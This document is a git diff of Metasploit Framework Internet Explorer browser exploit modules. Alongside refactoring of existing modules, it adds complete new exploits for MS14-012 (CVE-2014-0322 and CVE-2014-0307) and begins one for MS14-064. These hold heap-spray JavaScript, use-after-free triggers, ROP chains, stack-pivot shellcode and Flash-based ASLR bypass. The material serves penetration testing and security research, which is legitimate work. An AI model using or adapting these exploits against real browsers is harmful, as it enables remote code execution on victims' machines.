Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "6.0", - :ua_maxver => "8.0", - :javascript => true, - :os_name => OperatingSystems::WINDOWS, - :vuln_test => %Q| - var v = window.os_detect.getVersion(); - var os_name = v['os_name']; - var os_flavor = v['os_flavor']; - if (os_name == 'Microsoft Windows' && os_flavor == 'XP') {is_vuln = true;} else { is_vuln = false; } - |, - }) def initialize(info={}) super(update_info(info, diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index 46d4cbf27b..8f787555ae 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_minver => "8.0", # :ua_maxver => "8.0", # :rank => NormalRanking, # reliable memory corruption @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Internet Explorer Fixed Table Col Span Heap Overflow', + 'Name' => 'MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow', 'Description' => %q{ This module exploits a heap overflow vulnerability in Internet Explorer caused by an incorrect handling of the span attribute for col elements from a fixed table, diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index 787568d2dd..24ea0249ee 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", + 'Name' => "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", 'Description' => %q{ This module exploits a memory corruption flaw in Internet Explorer 8 when handling objects with the same ID property. At the moment this module targets diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index e4b2c478cb..a0302f48dc 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module + 'Scott Bell <scott.bell[at]security-assessment.com>' # Vulnerability discovery & Metasploit module ], 'References' => [ diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index aad80f2983..02a9aed841 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => Msf::OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :ua_name => Msf::HttpClients::IE, :silverlight => "true" }, diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 8dc9aa65a7..2fac28419d 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,19 +8,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::RopDb - #include Msf::Exploit::Remote::BrowserAutopwn - - #autopwn_info({ - # :ua_name => HttpClients::IE, - # :ua_minver => "8.0", - # :ua_maxver => "8.0", - # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, - # :rank => Rank - #}) - def initialize(info={}) super(update_info(info, @@ -28,18 +17,28 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml - shapes on the vgx.dll module. This module has been tested successfully on Windows 7 - SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target - to use an info leak to disclose the ntdll.dll base address is provided. This target - requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 - installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001). + shapes on the vgx.dll module. + + The exploit has been built and tested specifically against Windows 7 SP1 with + Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to + bypass ASLR, and by default the info leak is used. To make sure the leak is + successful, the ntdll version should be either v6.1.7601.17514 (the default dll + version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725 + (installed after apply MS12-001). If the target doesn't have the version the exploit + wants, it will refuse to attack by sending a fake 404 message (webpage not found). + + If you wish to try the JRE6 component instead to bypass ASLR, you can set the + advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't + have this particular component, the exploit will also refuse to attack by + sending a 404 message. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis - '4B5F5F4B', # PoC - 'juan vazquez' # Metasploit module + '4B5F5F4B', # PoC + 'juan vazquez', # Metasploit module + 'sinn3r' # BES upgrade ], 'References' => [ @@ -61,23 +60,21 @@ class Metasploit3 < Msf::Exploit::Remote 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'BrowserRequirements' => + { + :source => /script/i, + :os_name => OperatingSystems::Match::WINDOWS_7, + :ua_name => HttpClients::IE, + :ua_ver => '8.0', + }, 'Targets' => [ - [ 'Automatic', {} ], - [ 'IE 8 on Windows 7 SP1 with JRE ROP', # default - { - 'Rop' => :jre, - 'Offset' => '0x5f4' - } - ], - # requires: - # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) - # * ntdll.dll v6.1.7601.17725 (MS12-001) - [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak', - { - 'Rop' => :ntdll, - 'Offset' => '0x5f4' - } + [ + 'IE 8 on Windows 7 SP1', + { + 'Offset' => '0x5f4' + } ] ], 'Privileged' => false, @@ -89,42 +86,22 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) + register_advanced_options( + [ + # ntdll requires: + # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) + # * ntdll.dll v6.1.7601.17725 (MS12-001) + OptEnum.new('ROP', [true, 'The type of ROP to use (JRE6 or leak NTDLL)', 'NTDLL', ['JRE6', 'NTDLL'] ]) + ], self.class) end def exploit - @second_stage_url = rand_text_alpha(10) + @second_stage_url = "#{get_module_resource}#{rand_text_alpha(10)}".chomp @leak_param = rand_text_alpha(5) + super end - def get_target(agent) - #If the user is already specified by the user, we'll just use that - return target if target.name != 'Automatic' - - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - - ie_name = "IE #{ie}" - - case nt - when '5.1' - os_name = 'Windows XP SP3' - when '6.0' - os_name = 'Windows Vista' - when '6.1' - os_name = 'Windows 7' - end - - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - print_status("Target selected as: #{t.name}") - return t - end - end - - return nil - end - def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) @@ -204,10 +181,10 @@ for (var i=1; i < 0x300; i++) { def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. - return code if t['Rop'].nil? + return code if t.opts['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be - case t['Rop'] + case t.opts['Rop'] when :jre print_status("Using JRE ROP") stack_pivot = [ @@ -383,20 +360,32 @@ function exploit(){ end - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - uri = request.uri - print_status("Requesting: #{uri}") + def set_rop(t, rop, info) + case rop + when /^ntdll$/i + t.opts['Rop'] = :ntdll + when /^jre6$/i + if info[:java] !~ /1\.6|6\.0/ + raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack" + end - my_target = get_target(agent) - # Avoid the attack if no suitable target found - if my_target.nil? - print_error("Browser not supported, sending 404: #{agent}") + t.opts['Rop'] = :jre + end + + return t + end + + def on_request_exploit(cli, request, target_info) + begin + my_target = set_rop(get_target, datastore['ROP'], target_info) + rescue RuntimeError => e + # This one is just a warning, because it's a requirement check so it's not that scary. + print_warning(e.message) send_not_found(cli) return end - if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ + if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak print_status("Sending HTML to info leak...") send_response(cli, html, {'Content-Type'=>'text/html'}) @@ -414,7 +403,7 @@ function exploit(){ return end - vprint_status("ntdll leak: 0x#{leak.to_s(16)}") + print_status("ntdll leak: 0x#{leak.to_s(16)}") fingerprint = leak & 0x0000ffff case fingerprint @@ -425,7 +414,7 @@ function exploit(){ @ntdll_version = "6.1.7601.17725" # MS12-001 @ntdll_base = leak - 0x47090 else - print_error("ntdll version not detected, sending 404: #{agent}") + print_warning("ntdll version not detected, sending 404: #{agent}") send_not_found(cli) return end diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index e80f53806d..bbed4c4ee0 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index df3b0b3db1..80881a1894 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,16 +8,15 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", 'Description' => %q{ This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, - it seems to only affect certain releases of mshtml.dll. For example: This module - can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8 + it seems to only affect certain releases of mshtml.dll, ranging from a newly + installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8 requires a different way to trigger the vulnerability, but not currently covered by this module. @@ -56,11 +55,18 @@ class Metasploit3 < Msf::Exploit::Remote [ 'ZDI', '13-195' ] ], 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script/i, + :os_name => 'Windows 7', + :ua_name => HttpClients::IE, + :ua_ver => "9.0", + :java => /1\.6|6\.0/, + :mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun + }, 'Targets' => [ - # Vulnerable IE9 tested: 9.0.8112.16446 - [ 'Automatic', {} ], - [ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ] + [ 'Automatic', {} ] ], 'Payload' => { @@ -90,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote obj << [rnd_dword].pack("V*") obj << [rnd_dword].pack("V*") - return obj + obj end # Target spray 0x20302020 @@ -110,31 +116,25 @@ class Metasploit3 < Msf::Exploit::Remote 0x0c0c0c0c ].pack("V*") - p = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) - - return p - end - - def is_win7_ie9?(agent) - (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) + generate_rop_payload('java', code, {'pivot'=>stack_pivot}) end # The meta-refresh seems very necessary to make the object overwrite more reliable. # Without it, it only gets about 50/50 - def get_html(cli, req) - js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch)) - js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch)) + def get_template + js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj) + js_payload = ::Rex::Text.to_unescape(get_payload) - html = %Q| + template = %Q| <html> <meta http-equiv="X-UA-Compatible" content="IE=7"/> <meta http-equiv="refresh" content="2"/> <head> <script language='javascript'> - #{js_property_spray} + <%=js_property_spray%> - var fake_obj = unescape("#{js_fake_obj}"); - var s = unescape("#{js_payload}"); + var fake_obj = unescape("<%=js_fake_obj%>"); + var s = unescape("<%=js_payload%>"); sprayHeap({shellcode:s}); @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote document.execCommand('SelectAll'); document.execCommand('InsertButton'); sprayHeap({shellcode:fake_obj, heapBlockSize:0x10}); - document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}'; + document.body.innerHTML = '<%=Rex::Text.rand_text_alpha(1)%>'; } </script> </head> @@ -156,16 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote </html> | - html.gsub(/^ {4}/, '') + return template, binding() end - def on_request_uri(cli, request) - if is_win7_ie9?(request.headers['User-Agent']) - print_status("Sending exploit...") - send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) - else - print_error("Not a suitable target: #{request.headers['User-Agent']}") - send_not_found(cli) - end + def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, get_template) end end diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index b0263f9b80..aaf14954b6 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 33b35ee5d0..dd3327be64 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :rank => NormalRanking }) @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote function os() { var detect = window.os_detect.getVersion(); - var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version; + var os_string = detect.os_name + " " + detect.ua_name + " " + detect.ua_version; return os_string; } diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 2de5599e9d..a0ff99e2d9 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,6 +9,19 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::Match::WINDOWS_XP, +# BrowserAutoPwn currently has a syntax error bug so we can't use classid and method, +# so we have these commented out for now. But it's not so bad because by default +# Windows XP has this ActiveX, and BrowserExploitServer's check will kick in. +# :classid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", +# :method => "requiredClaims" + }) def initialize(info={}) super(update_info(info, @@ -62,13 +75,13 @@ class Metasploit3 < Msf::Exploit::Remote :source => /script|headers/i, :clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", :method => "requiredClaims", - :os_name => Msf::OperatingSystems::WINDOWS + :os_name => OperatingSystems::Match::WINDOWS_XP }, 'Targets' => [ [ 'Windows XP with IE 8', { - 'os_flavor' => Msf::OperatingSystems::WindowsVersions::XP, + 'os_name' => OperatingSystems::Match::WINDOWS_XP, 'ua_name' => Msf::HttpClients::IE, 'ua_ver' => '8.0', 'arch' => ARCH_X86 @@ -379,4 +392,4 @@ cccccccc ?? ??? 001f58d4 48 00 9c 02 84 14 5c 75-e8 ac 9c 02 1b 00 00 00 H.....\u........ 001f58e4 e8 52 19 00 ed 7e a1 ea-00 01 08 ff 08 00 00 00 .R...~.......... 001f58f4 90 01 00 00 f0 00 00 00-00 00 00 00 01 00 00 00 ................ -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb new file mode 100644 index 0000000000..8129288d3f --- /dev/null +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -0,0 +1,205 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free", + 'Description' => %q{ + This module exploits an use after free condition on Internet Explorer as used in the wild + as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to + bypass ASLR and DEP. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and Exploit in the wild + 'Jean-Jamil Khalife', # Exploit + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2014-0322' ], + [ 'MSB', 'MS14-012' ], + [ 'BID', '65551' ], + [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'], + [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 960, + 'DisableNops' => true, + 'PrependEncoder' => stack_adjust + }, + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => 'Windows 7', + :ua_name => Msf::HttpClients::IE, + :ua_ver => '10.0', + :mshtml_build => lambda { |ver| ver.to_i < 16843 }, + :flash => /^1[23]\./ + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false + }, + 'Targets' => + [ + [ 'Windows 7 SP1 / IE 10 / FP 12', { } ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2014", + 'DefaultTarget' => 0)) + + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" ) + fd = ::File.open( path, "rb" ) + swf = fd.read(fd.stat.size) + fd.close + return swf + end + + def exploit + @swf = create_swf + super + end + + def on_request_uri(cli, request) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Sending HTML...") + send_exploit_html(cli, exploit_template(cli, target_info)) + end + + def exploit_template(cli, target_info) + + flash_payload = "" + padded_payload = get_payload(cli,target_info) + + while padded_payload.length % 4 != 0 + padded_payload += "\x00" + end + + padded_payload.unpack("V*").each do |i| + flash_payload << "0x#{i.to_s(16)}," + end + flash_payload.gsub!(/,$/, "") + + html_template = %Q| + <html> + <head> + </head> + <body> + + <script> + + var g_arr = []; + var arrLen = 0x250; + + function dword2data(dword) + { + var d = Number(dword).toString(16); + while (d.length < 8) + d = '0' + d; + + return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); + } + + function eXpl() + { + var a=0; + + for (a=0; a < arrLen; a++) { + g_arr[a] = document.createElement('div'); + } + + var b = dword2data(0x19fffff3); + + while (b.length < 0x360) { + if (b.length == (0x98 / 2)) + { + b += dword2data(0x1a000010); + } + else if (b.length == (0x94 / 2)) + { + b += dword2data(0x1a111111); + } + else if (b.length == (0x15c / 2)) + { + b += dword2data(0x42424242); + } + else + { + b += dword2data(0x19fffff3); + } + } + + var d = b.substring(0, ( 0x340 - 2 )/2); + + try{ + this.outerHTML=this.outerHTML + } catch(e){ + + } + + CollectGarbage(); + + for (a=0; a < arrLen; a++) + { + g_arr[a].title = d.substring(0, d.length); + } + } + + function trigger() + { + var a = document.getElementsByTagName("script"); + var b = a[0]; + b.onpropertychange = eXpl; + var c = document.createElement('SELECT'); + c = b.appendChild(c); + } + + </script> + <embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10"> + </embed> + </body> + </html> + | + + return html_template, binding() + end + +end diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb new file mode 100644 index 0000000000..b28f0dc273 --- /dev/null +++ b/modules/exploits/windows/browser/ms14_012_textrange.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw + was most likely introduced in 2013, therefore only certain builds of MSHTML are + affected. In our testing with IE9, these vulnerable builds appear to be between + 9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between + August 2013, when it was introduced, until the fix issued in early March 2014. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jason Kratzer', # Original discovery + 'sinn3r' # Port + ], + 'References' => + [ + [ 'CVE', '2014-0307' ], + [ 'MSB', 'MS14-012' ] + ], + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script/i, + :os_name => OperatingSystems::WINDOWS, + :ua_name => HttpClients::IE, + :office => "2010", + :ua_ver => '9.0', + :mshtml_build => lambda { |ver| ver.to_i.between?(16496, 16533) } # Covers MS13-Jul to MS14-Feb + }, + 'Targets' => + [ + [ + 'Automatic', + { + # mov eax,dword ptr [edx+0C4h]; call eax + 'Pivot' => 0x0c0d1020 # ECX + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 + }, + 'DefaultOptions' => + { + 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. + 'InitialAutoRunScript' => 'migrate -f' + }, + 'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday + 'DefaultTarget' => 0)) + end + + # hxds.dll + def get_payload + setup = + [ + 0x51C3B376, # rop nop + 0x51C2046E, # pop edi; ret + 0x51BE4A41, # xchg eax, esp; ret + ].pack("V*") + + # rop nops + 45.times { setup << [0x51C3B376].pack('V*') } + + setup << [ + 0x51C2046E, # pop edi ; ret + 0x51BD28D4 # mov eax, [ecx], call [eax+8] + ].pack('V*') + + p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup}) + + Rex::Text.to_unescape(p) + end + + def exploit_html + template = %Q|<!DOCTYPE html> +<html> + <head> + <meta http-equiv='Cache-Control' content='no-cache'/> + <meta http-equiv="X-UA-Compatible" content="IE=edge" > + <script> + <%=js_property_spray%> + sprayHeap({shellcode:unescape("<%=get_payload%>")}); + + function hxds() { + try { + location.href = 'ms-help:'; + } catch(e) {} + } + + function strike() { + hxds(); + var fake = ""; + for (var i = 0; i < 12; i++) { + if (i==0) { + fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>"); + } + else { + fake += "\\u4141\\u4141"; + } + } + + var elements = [ + 'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG', + 'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION' + ]; + + for (var i = 0; i < elements.length; i++) { + var element = document.createElement(elements[i]); + document.body.appendChild(element); + } + + var tRange = document.body.createTextRange(); + tRange.moveToElementText(document.body.children[16]); + tRange.execCommand('InsertInputSubmit', true, null); + tRange.moveToElementText(document.body.children[0]); + tRange.moveEnd('character',4); + tRange.execCommand('InsertOrderedList', true, null); + tRange.select(); + tRange.moveToElementText(document.body.children[0]); + tRange.moveEnd('character',13); + tRange.execCommand('Underline', true, null); + tRange.execCommand('RemoveFormat', true, null); + var fillObject = document.createElement('button'); + fillObject.className = fake; + } + </script> + </head> + <body onload='strike();'></body> +</html> + | + + return template, binding() + end + + def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, exploit_html) + end + +end diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb new file mode 100644 index 0000000000..ad23315340 --- /dev/null +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -0,0 +1,305 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/exploit/powershell' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", + 'Description' => %q{ + This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. + The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10. + For this module to be successful, powershell is required on the target machine. On + Internet Explorer versions using Protected Mode, the user has to manually allow + powershell.exe to execute in order to be compromised. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Robert Freeman', # IBM X-Force + 'yuange', # twitter.com/yuange75 + 'Rik van Duijn', # twitter.com/rikvduijn + 'Wesley Neelen', # security[at]forsec.nl + 'GradiusX <francescomifsud[at]gmail.com>', + 'b33f', # @FuzzySec + ], + 'References' => + [ + [ 'CVE', '2014-6332' ], + [ 'MSB', 'MS14-064' ], + [ 'OSVDB', '114533' ], + [ 'EDB', '35229' ], + [ 'EDB', '35308' ], + [ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ], + [ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + ], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :ua_name => HttpClients::IE, + :os_name => /win/i, + :arch => 'x86', + :ua_ver => lambda { |ver| ver.to_i.between?(4, 10) } + }, + 'DefaultOptions' => + { + 'HTTP::compression' => 'gzip' + }, + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Privileged' => false, + 'DisclosureDate' => "Nov 13 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]), + ], self.class 